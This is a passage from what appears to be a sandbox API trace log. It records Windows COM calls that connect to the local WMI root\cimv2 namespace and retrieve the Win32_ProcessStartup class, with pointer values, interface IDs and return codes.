Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10cda8 | out: ppv=0x1b10cda8*=0x1b44a060) returned 0x0 [0133.988] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b44a060, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10ce90 | out: ppvObject=0x1b10ce90*=0x0) returned 0x80004002 [0133.988] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b44a060, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10ce68 | out: ppvObject=0x1b10ce68*=0x3527c0) returned 0x0 [0133.988] WbemDefPath:IUnknown:Release (This=0x1b44a060) returned 0x0 [0133.988] WbemDefPath:IUnknown:QueryInterface (in: This=0x3527c0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cc10 | out: ppvObject=0x1b10cc10*=0x3527c0) returned 0x0 [0133.988] WbemDefPath:IUnknown:QueryInterface (in: This=0x3527c0, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cca0 | out: ppvObject=0x1b10cca0*=0x0) returned 0x80004002 [0133.988] WbemDefPath:IUnknown:QueryInterface (in: This=0x3527c0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c498 | out: ppvObject=0x1b10c498*=0x0) returned 0x80004002 [0133.988] WbemDefPath:IUnknown:AddRef (This=0x3527c0) returned 0x3 [0133.988] WbemDefPath:IUnknown:QueryInterface (in: This=0x3527c0, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c358 | out: ppvObject=0x1b10c358*=0x0) returned 0x80004002 [0133.988] WbemDefPath:IUnknown:QueryInterface (in: This=0x3527c0, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c2e0 | out: ppvObject=0x1b10c2e0*=0x0) returned 0x80004002 [0133.988] WbemDefPath:IUnknown:QueryInterface (in: This=0x3527c0, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c2d0 | out: ppvObject=0x1b10c2d0*=0x1b44a0e0) returned 0x0 [0133.988] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b44a0e0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c2f8 | out: pCid=0x1b10c2f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0133.988] WbemDefPath:IUnknown:Release (This=0x1b44a0e0) returned 0x3 [0133.988] CoGetContextToken (in: pToken=0x1b10c380 | out: pToken=0x1b10c380) returned 0x0 [0133.989] CoGetContextToken (in: pToken=0x1b10c800 | out: pToken=0x1b10c800) returned 0x0 [0133.989] WbemDefPath:IUnknown:QueryInterface (in: This=0x3527c0, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c8c0 | out: ppvObject=0x1b10c8c0*=0x0) returned 0x80004002 [0133.989] WbemDefPath:IUnknown:Release (This=0x3527c0) returned 0x2 [0133.989] WbemDefPath:IUnknown:Release (This=0x3527c0) returned 0x1 [0133.989] CoGetContextToken (in: pToken=0x1b10d5f0 | out: pToken=0x1b10d5f0) returned 0x0 [0133.989] CoGetContextToken (in: pToken=0x1b10d4f0 | out: pToken=0x1b10d4f0) returned 0x0 [0133.989] WbemDefPath:IUnknown:QueryInterface (in: This=0x3527c0, riid=0x1b10d650*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d620 | out: ppvObject=0x1b10d620*=0x3527c0) returned 0x0 [0133.989] WbemDefPath:IUnknown:AddRef (This=0x3527c0) returned 0x3 [0133.989] WbemDefPath:IUnknown:Release (This=0x3527c0) returned 0x2 [0133.989] WbemDefPath:IWbemPath:SetText (This=0x3527c0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0133.989] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x3527c0, puCount=0x1b10d9d8 | out: puCount=0x1b10d9d8*=0x2) returned 0x0 [0133.989] WbemDefPath:IWbemPath:GetText (in: This=0x3527c0, lFlags=4, puBuffLength=0x1b10d9d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d9d0*=0xf, pszText=0x0) returned 0x0 [0133.989] WbemDefPath:IWbemPath:GetText (in: This=0x3527c0, lFlags=4, puBuffLength=0x1b10d9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10d9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0133.989] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10da48 | out: ppv=0x1b10da48*=0x3111d8) returned 0x0 [0133.989] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10da38 | out: pAptType=0x1b10da38*=1) returned 0x0 [0133.989] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10da40 | out: ppvObject=0x1b10da40*=0x0) returned 0x80004002 [0133.989] IUnknown:Release (This=0x3111d8) returned 0x1 [0133.990] CoGetClassObject (in: rclsid=0x1b3c81c8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d108 | out: ppv=0x1b10d108*=0x1b433b10) returned 0x0 [0133.990] WbemLocator:IUnknown:QueryInterface (in: This=0x1b433b10, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10d1f0 | out: ppvObject=0x1b10d1f0*=0x0) returned 0x80004002 [0133.990] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b433b10, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d1c8 | out: ppvObject=0x1b10d1c8*=0x1b433bf0) returned 0x0 [0133.990] WbemLocator:IUnknown:Release (This=0x1b433b10) returned 0x0 [0133.990] WbemLocator:IUnknown:QueryInterface (in: This=0x1b433bf0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cf70 | out: ppvObject=0x1b10cf70*=0x1b433bf0) returned 0x0 [0133.990] WbemLocator:IUnknown:QueryInterface (in: This=0x1b433bf0, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10d000 | out: ppvObject=0x1b10d000*=0x0) returned 0x80004002 [0133.990] WbemLocator:IUnknown:QueryInterface (in: This=0x1b433bf0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c7f8 | out: ppvObject=0x1b10c7f8*=0x0) returned 0x80004002 [0133.990] WbemLocator:IUnknown:AddRef (This=0x1b433bf0) returned 0x3 [0133.990] WbemLocator:IUnknown:QueryInterface (in: This=0x1b433bf0, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c6b8 | out: ppvObject=0x1b10c6b8*=0x0) returned 0x80004002 [0133.990] WbemLocator:IUnknown:QueryInterface (in: This=0x1b433bf0, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c640 | out: ppvObject=0x1b10c640*=0x0) returned 0x80004002 [0133.990] WbemLocator:IUnknown:QueryInterface (in: This=0x1b433bf0, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c630 | out: ppvObject=0x1b10c630*=0x0) returned 0x80004002 [0133.990] CoGetContextToken (in: pToken=0x1b10c6e0 | out: pToken=0x1b10c6e0) returned 0x0 [0133.990] CoGetContextToken (in: pToken=0x1b10cb60 | out: pToken=0x1b10cb60) returned 0x0 [0133.990] WbemLocator:IUnknown:QueryInterface (in: This=0x1b433bf0, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cc20 | out: ppvObject=0x1b10cc20*=0x0) returned 0x80004002 [0133.991] WbemLocator:IUnknown:Release (This=0x1b433bf0) returned 0x2 [0133.991] WbemLocator:IUnknown:Release (This=0x1b433bf0) returned 0x1 [0133.991] CoGetContextToken (in: pToken=0x1b10d5a0 | out: pToken=0x1b10d5a0) returned 0x0 [0133.991] CoGetContextToken (in: pToken=0x1b10d4a0 | out: pToken=0x1b10d4a0) returned 0x0 [0133.991] WbemLocator:IUnknown:QueryInterface (in: This=0x1b433bf0, riid=0x1b10d600*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b10d5d0 | out: ppvObject=0x1b10d5d0*=0x1b433bf0) returned 0x0 [0133.991] WbemLocator:IUnknown:AddRef (This=0x1b433bf0) returned 0x3 [0133.991] WbemLocator:IUnknown:Release (This=0x1b433bf0) returned 0x2 [0133.991] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x3527c0, puCount=0x1b10d9d8 | out: puCount=0x1b10d9d8*=0x2) returned 0x0 [0133.991] WbemDefPath:IWbemPath:GetText (in: This=0x3527c0, lFlags=8, puBuffLength=0x1b10d9d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d9d0*=0xf, pszText=0x0) returned 0x0 [0133.991] WbemDefPath:IWbemPath:GetText (in: This=0x3527c0, lFlags=8, puBuffLength=0x1b10d9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10d9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0133.991] CoCreateInstance (in: rclsid=0x7ffb13d166a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffb13d16708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b10d720 | out: ppv=0x1b10d720*=0x1b4337d0) returned 0x0 [0133.991] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b4337d0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b10d898 | out: ppNamespace=0x1b10d898*=0x1b3e2a10) returned 0x0 [0134.326] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3e2a10, riid=0x7ffb13d16528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d598 | out: ppvObject=0x1b10d598*=0x1b4594f0) returned 0x0 [0134.326] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b4594f0, pProxy=0x1b3e2a10, pAuthnSvc=0x1b10d660, pAuthzSvc=0x1b10d5e0, pServerPrincName=0x1b10d608, pAuthnLevel=0x1b10d5e4, pImpLevel=0x1b10d5f0, pAuthInfo=0x1b10d618, pCapabilites=0x1b10d5f4 | out: pAuthnSvc=0x1b10d660*=0xa, pAuthzSvc=0x1b10d5e0*=0x0, pServerPrincName=0x1b10d608, pAuthnLevel=0x1b10d5e4*=0x6, pImpLevel=0x1b10d5f0*=0x2, pAuthInfo=0x1b10d618, pCapabilites=0x1b10d5f4*=0x1) returned 0x0 [0134.326] WbemLocator:IUnknown:Release (This=0x1b4594f0) returned 0x1 [0134.326] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3e2a10, riid=0x7ffb13d16518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d530 | out: ppvObject=0x1b10d530*=0x1b459538) returned 0x0 [0134.326] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3e2a10, riid=0x7ffb13d16528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d540 | out: ppvObject=0x1b10d540*=0x1b4594f0) returned 0x0 [0134.326] WbemLocator:IClientSecurity:SetBlanket (This=0x1b4594f0, pProxy=0x1b3e2a10, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0134.327] WbemLocator:IUnknown:Release (This=0x1b4594f0) returned 0x2 [0134.327] WbemLocator:IUnknown:Release (This=0x1b459538) returned 0x1 [0134.327] CoTaskMemFree (pv=0x1b420e90) [0134.327] WbemLocator:IUnknown:Release (This=0x1b4337d0) returned 0x0 [0134.327] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3e2a10, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d030 | out: ppvObject=0x1b10d030*=0x1b459538) returned 0x0 [0134.327] WbemLocator:IUnknown:QueryInterface (in: This=0x1b459538, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10d0c0 | out: ppvObject=0x1b10d0c0*=0x0) returned 0x80004002 [0134.355] WbemLocator:IUnknown:QueryInterface (in: This=0x1b459538, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cce0 | out: ppvObject=0x1b10cce0*=0x0) returned 0x80004002 [0134.372] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3e2a10, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c8b8 | out: ppvObject=0x1b10c8b8*=0x0) returned 0x80004002 [0134.374] WbemLocator:IUnknown:AddRef (This=0x1b459538) returned 0x3 [0134.374] WbemLocator:IUnknown:QueryInterface (in: This=0x1b459538, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c778 | out: ppvObject=0x1b10c778*=0x0) returned 0x80004002 [0134.374] WbemLocator:IUnknown:QueryInterface (in: This=0x1b459538, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c700 | out: ppvObject=0x1b10c700*=0x0) returned 0x80004002 [0134.375] WbemLocator:IUnknown:QueryInterface (in: This=0x1b459538, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c6f0 | out: ppvObject=0x1b10c6f0*=0x1b459418) returned 0x0 [0134.375] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b459418, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c718 | out: pCid=0x1b10c718*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0134.375] WbemLocator:IUnknown:Release (This=0x1b459418) returned 0x3 [0134.375] CoGetContextToken (in: pToken=0x1b10c7a0 | out: pToken=0x1b10c7a0) returned 0x0 [0134.375] CoGetContextToken (in: pToken=0x1b10cc20 | out: pToken=0x1b10cc20) returned 0x0 [0134.375] WbemLocator:IUnknown:QueryInterface (in: This=0x1b459538, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cce0 | out: ppvObject=0x1b10cce0*=0x1b459500) returned 0x0 [0134.375] WbemLocator:IRpcOptions:Query (in: This=0x1b459500, pPrx=0x1b459538, dwProperty=2, pdwValue=0x1b10ccd0 | out: pdwValue=0x1b10ccd0) returned 0x80004002 [0134.375] WbemLocator:IUnknown:Release (This=0x1b459500) returned 0x3 [0134.375] WbemLocator:IUnknown:Release (This=0x1b459538) returned 0x2 [0134.375] CoGetContextToken (in: pToken=0x1b10d2e0 | out: pToken=0x1b10d2e0) returned 0x0 [0134.375] CoGetContextToken (in: pToken=0x1b10d1e0 | out: pToken=0x1b10d1e0) returned 0x0 [0134.375] WbemLocator:IUnknown:QueryInterface (in: This=0x1b459538, riid=0x1b10d340*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b10d310 | out: ppvObject=0x1b10d310*=0x1b3e2a10) returned 0x0 [0134.376] WbemLocator:IUnknown:AddRef (This=0x1b3e2a10) returned 0x4 [0134.376] WbemLocator:IUnknown:Release (This=0x1b3e2a10) returned 0x3 [0134.376] WbemLocator:IUnknown:Release (This=0x1b3e2a10) returned 0x2 [0134.376] SysStringLen (param_1=0x0) returned 0x0 [0134.376] CoGetContextToken (in: pToken=0x1b10d3b0 | out: pToken=0x1b10d3b0) returned 0x0 [0134.376] WbemLocator:IUnknown:AddRef (This=0x1b459538) returned 0x3 [0134.376] WbemLocator:IUnknown:QueryInterface (in: This=0x1b459538, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d3b0 | out: ppvObject=0x1b10d3b0*=0x1b459538) returned 0x0 [0134.376] WbemLocator:IUnknown:Release (This=0x1b459538) returned 0x3 [0134.376] WbemLocator:IUnknown:Release (This=0x1b459538) returned 0x2 [0134.376] WbemDefPath:IWbemPath:GetText (in: This=0x352700, lFlags=2, puBuffLength=0x1b10dab0*=0x0, pszText=0x0 | out: puBuffLength=0x1b10dab0*=0x15, pszText=0x0) returned 0x0 [0134.376] WbemDefPath:IWbemPath:GetText (in: This=0x352700, lFlags=2, puBuffLength=0x1b10dab0*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b10dab0*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0134.376] IWbemServices:GetObject (in: This=0x1b3e2a10, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b10da30*=0x0, ppCallResult=0x0 | out: ppObject=0x1b10da30*=0x1b451ac0, ppCallResult=0x0) returned 0x0 [0134.379] IWbemClassObject:Get (in: This=0x1b451ac0, wszName="__PATH", lFlags=0, pVal=0x1b10d9e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b10db28*=0, plFlavor=0x1b10db20*=0 | out: pVal=0x1b10d9e0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b10db28*=8, plFlavor=0x1b10db20*=64) returned 0x0 [0134.379] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0134.379] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0134.379] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d9f8 | out: ppv=0x1b10d9f8*=0x3111d8) returned 0x0 [0134.379] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d9e8 | out: pAptType=0x1b10d9e8*=1) returned 0x0 [0134.379] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d9f0 | out: ppvObject=0x1b10d9f0*=0x0) returned 0x80004002 [0134.379] IUnknown:Release (This=0x3111d8) returned 0x1 [0134.380] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10cde8 | out: ppv=0x1b10cde8*=0x1b433850) returned 0x0 [0134.380] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b433850, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10ced0 | out: ppvObject=0x1b10ced0*=0x0) returned 0x80004002 [0134.380] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b433850, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cea8 | out: ppvObject=0x1b10cea8*=0x352880) returned 0x0 [0134.380] WbemDefPath:IUnknown:Release (This=0x1b433850) returned 0x0 [0134.380] WbemDefPath:IUnknown:QueryInterface (in: This=0x352880, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cc50 | out: ppvObject=0x1b10cc50*=0x352880) returned 0x0 [0134.380] WbemDefPath:IUnknown:QueryInterface (in: This=0x352880, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cce0 | out: ppvObject=0x1b10cce0*=0x0) returned 0x80004002 [0134.380] WbemDefPath:IUnknown:QueryInterface (in: This=0x352880, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c4d8 | out: ppvObject=0x1b10c4d8*=0x0) returned 0x80004002 [0134.381] WbemDefPath:IUnknown:AddRef (This=0x352880) returned 0x3 [0134.381] WbemDefPath:IUnknown:QueryInterface (in: This=0x352880, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c398 | out: ppvObject=0x1b10c398*=0x0) returned 0x80004002 [0134.381] WbemDefPath:IUnknown:QueryInterface (in: This=0x352880, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, 